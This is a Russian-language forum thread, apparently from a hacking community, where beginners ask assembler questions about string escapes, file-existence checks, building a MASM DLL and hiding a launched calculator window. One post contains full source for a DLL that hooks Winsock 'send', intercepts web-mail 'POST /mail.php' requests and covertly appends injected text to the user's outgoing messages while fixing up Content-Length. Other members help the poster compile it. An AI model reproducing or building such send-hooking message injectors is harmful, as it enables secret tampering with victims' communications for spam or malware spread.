[ Assembler ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by !_filin_!, 25 May 2007.

  1. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    видимо с фасма переписывал :)
     
  2. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Ребят,подскажите.Как в переменной обьявить обратный слэш.Ну то есть в строке.Вот пример:
    Code:
    str db '/',0
     
  3. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    в смысле? \?
     
  4. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    да да сори)спутал))Все все разобрался!Спасибо всем!
     
    #1024 MTV, 20 Jun 2011
    Last edited: 21 Jun 2011
  5. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    //////////////////////////////2////////////////////////////
    написать макрокоманду, что реализует преобразование отрицательное целого типа dword в прямой код. Входные данные находятся в регистрах DX: AX
    //////////////

    Кто поможет это сделать, я знаю вроде тут не сложно просто реально нет времени учить асм, а екзамен скора! Так бы на примере разобрался побыстрей!!
    Сяб наперёд !!
     
    #1025 ShyRka_coder, 20 Jun 2011
    Last edited: 21 Jun 2011
  6. dqod626

    dqod626 New Member

    Joined:
    23 Jan 2011
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    В чём разница между сборками БТ5 на платформах arm, 32bit, 64bit? И чем отличаются KDE от Gnome. Хотелось бы услышать плюсы и минусы тех или иных вариаций BackTrack5
     
  7. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Под разные архитектуры процессора.
    Ссылка.
    Нету никаких вариаций.

    Вопрос к вам: как ваши вопросы относятся к assembler?
     
  8. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Ребят,как можно сделать,что-бы функция проверяла наличие файла?То есть если нет файла переходим на метку....
     
  9. bad_boy

    bad_boy Elder - Старейшина

    Joined:
    30 Dec 2004
    Messages:
    187
    Likes Received:
    33
    Reputations:
    3
    MTV, если нужен хэндл файла то, например, CreateFile с флагом OPEN_EXISTING
     
  10. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Нет не хэндл.Просто нужно было проверить существует ли файл.Уже сам разобрался....помогла волшебная winapi функция GetFileAttributes.
     
  11. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    Обьясниете пожалуйста как скомпилировать код написанный на masm32 в dll
     
  12. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    polink.exe /dll /def:<file>.def /subsystem:windows <file>.obj
     
  13. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    это надо сделать батник такой ??
    У меня таолько файл .asm и файл .def
     
  14. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    правильно. ассемблируешь файл *.asm получаешь объектный модуль *.obj дальше линкуешь как я выше написал.
     
  15. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    Code:
    .486
    .model flat, stdcall
    option casemap :none
    
    include \masm32\include\windows.inc
    include \masm32\macros\macros.asm
    include \masm32\macros\windows.asm
    include \masm32\macros\inject.asm
    
    
    
    uselib kernel32, user32, masm32, Shlwapi
    
    urlencodeW proto :DWORD, :DWORD, :DWORD
    
    .data
    message_add db 13,10,"payload",0
    
    textlen dd 0
    mess_len dd 0
    
    misc db 100 dup (0)
    header db 100 dup (0)
    header1 db 100 dup (0)
    
    message_w dword ?
    message_add_urlenc dword ?
    message dword ?
    request dword ?
    request_final dword ?
    temp dword ?
    
    
    iAlloc MACRO size:REQ
    invoke VirtualAlloc,0,&size,MEM_COMMIT,PAGE_READWRITE
    EXITM <eax>
    ENDM
    
    iFree MACRO memaddr:REQ
    invoke VirtualFree,&memaddr,0,MEM_RELEASE
    ENDM
    
    .code
    
    MyFunc:
    	push ebp
    	mov ebp,esp
    	
    	
    	
    	mov ebx,FUNC(StrStrA,[ebp+12],chr$("POST /mail.php HTTP"))
    	mov eax,FUNC(StrStrA,[ebp+12],chr$("act=sent"))
    	
    	.if ebx != 0 && eax != 0
    		
    		invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,0,0
    		mov ebx,eax
    		
    		mov message_w,iAlloc(ebx)
    		
    		invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,message_w,ebx
    		
    		mov eax,6
    		mul ebx
    		mov message_add_urlenc,iAlloc(ebx)
    		invoke urlencodeW,message_w,message_add_urlenc,ebx
    		
    		iFree message_w
    		
    		add ebx,[ebp+16]
    		mov textlen,ebx
    		
    	
    		
    		mov request,iAlloc(textlen)
    		
    		invoke StrStr,[ebp+12],chr$("&message=")
    		mov esi,eax
    		
    		inc esi
    		push esi
    		
    		xor ecx,ecx
    		.while al != '&'
    			inc ecx
    			lodsb
    		.endw
    		pop esi
    		
    		
    		dec ecx
    		mov mess_len,ecx
    		
    		
    		mov eax,mess_len
    		add eax,textlen
    		
    		
    		mov temp,iAlloc(eax)
    		
    		
    		mov message,iAlloc(mess_len)
    		
    		
    		fn szMid,esi,message,0,mess_len
    		
    		invoke lstrcpy,temp,message
    		
    		
    		invoke lstrcat,temp,message_add_urlenc
    		
    		
    		iFree message_add_urlenc
    		
    		
    		fn szRep,[ebp+12],request,message,temp
    		
    		
    		
    		iFree temp
    		iFree message
    		
    		
    		invoke StrStr,request,chr$(13,10,13,10)
    		add eax,4
    		
    		
    		invoke lstrlen,eax
    		
    		
    		invoke wsprintf,offset header,chr$("Content-Length: %u"),eax
    
    		
    		invoke StrStr,[ebp+12],chr$("Content-Length: ")
    		mov esi,eax
    		add esi,16
    		
    		push esi
    		
    		xor ecx,ecx
    		.while al != 13 ; \r
    			inc ecx
    			lodsb
    		.endw
    		
    		pop esi
    		
    		
    		fn szMid,esi,offset misc,0,ecx
    		
    		
    		invoke wsprintf,offset header1,chr$("Content-Length: %s"),offset misc
    		
    		invoke lstrlen,request
    		add eax,5
    		
    		mov request_final,iAlloc(eax)
    		
    		
    		fn szRep,request,request_final,offset header1,offset header
    		
    		iFree request
    
    		
    		invoke lstrlen,request_final
    		HOOK_ORIGINAL_CALL_PARAM send,1,[ebp+8],request_final,eax,[ebp+20]
    		
    		iFree request_final
    		
    		
    		mov eax,[ebp+16]
    		
    	.else
    	
    		HOOK_ORIGINAL_CALL send, 4
    		
    	.endif
    		
    	
    	pop ebp
    	retn 4*4
    
    
    LibMain proc instance:DWORD,reason:DWORD,reserved:DWORD
    
    	.if reason == DLL_PROCESS_ATTACH 
    		
    		SET_HOOK wsock32.dll, send, MyFunc
    		
    		mov eax,1
    	.endif
    	
    	ret
    LibMain ENDP
    
    urlencode PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD
      push esi
      push edi
      push ebx
    
      mov esi,result_buffer
      mov edi,text_to_convert
    
    
      loop_enc:
        mov eax,esi
        sub eax,result_buffer
        mov ebx,result_buffer_len
        sub ebx,4
    
        .if eax>=ebx
          jmp loop_enc_end
        .endif
    
        mov al,byte ptr [edi]
    
      .if al<80h
        .if al==' '
          mov byte ptr [esi],'+'
          inc esi
        .elseif ((al>0 && al<=47) || (al>=58 && al<=64) || (al>=91 && al<=96) || al>=123) && al!='.' && al!='_' && al!='-'
          movzx eax,al
          invoke wsprintf,esi,chr$("%%%02X"),eax
          add esi,3
        .else
          mov byte ptr [esi],al
          inc esi
        .endif
      .else
          movzx eax,al
          invoke wsprintf,esi,chr$("%%%02X"),eax
          add esi,3
      .endif
    
        inc edi
        mov bl,byte ptr [edi]
        test bl,bl
      jne loop_enc
    
    loop_enc_end:
    
      mov byte ptr [esi],0
      pop ebx
      pop edi
      pop esi
    ret
    urlencode ENDP
    
    urlencodeW PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD
      LOCAL convert_buffer :DWORD
      LOCAL convert_buffer_len :DWORD
    
      push esi
      push edi
      push ebx
    
      invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,0,0,0,0
      .if eax>0
        inc eax
        mov convert_buffer_len,eax
    
        invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE
        .if eax==0
          mov eax,1
          jmp conv_error
        .endif
      .else
        mov eax,2
        jmp conv_error
      .endif
    
      mov convert_buffer,eax
    
      invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,convert_buffer,convert_buffer_len,0,0
    
      .if eax==0
        invoke VirtualFree,convert_buffer,0,MEM_RELEASE
        mov eax,3
        jmp conv_error
      .endif
    
      invoke urlencode,convert_buffer,result_buffer,result_buffer_len
    
      invoke VirtualFree,convert_buffer,0,MEM_RELEASE
    
      xor eax,eax
      pop ebx
      pop edi
      pop esi
    ret
    
    conv_error:
      pop ebx
      pop edi
      pop esi
    ret
    urlencodeW ENDP
    
    end LibMain
    
    вот код mem.asm

    вот код mem.def
    Code:
     
    LIBRARY mem
    
    нечего не получается :(
     
  16. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    ты функцию не экспортируешь?
     
  17. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    нет вот как есть так и должно быть в dll
     
  18. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    что линкер пишет?
     
  19. 2serg2

    2serg2 New Member

    Joined:
    21 Aug 2007
    Messages:
    24
    Likes Received:
    1
    Reputations:
    0
    Подскажите, как мне скрыть окно, например, калькулятора, который я запускаю при помощи функции CreateProcessA. Я написал нижеприведённый код, но не знаю, как к нему приделать ShowWindow. Мне нужно ввести всё это прямо в отладчике OllyDbg.

    PUSH 403010
    PUSH 403030
    PUSH 0
    PUSH 0
    PUSH 20
    PUSH 0
    PUSH 0
    PUSH 0
    PUSH 0
    PUSH 403000 - c:\windows\system32\calc.exe
    CALL CreateProcessA
     
  20. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    http://msdn.microsoft.com/en-us/library/ms686331%28v=vs.85%29.aspx
    Думаю, что параметр wShowWindow должен помочь. Только придется ручками составить структуру, чтобы ее передать в CreateProcessA.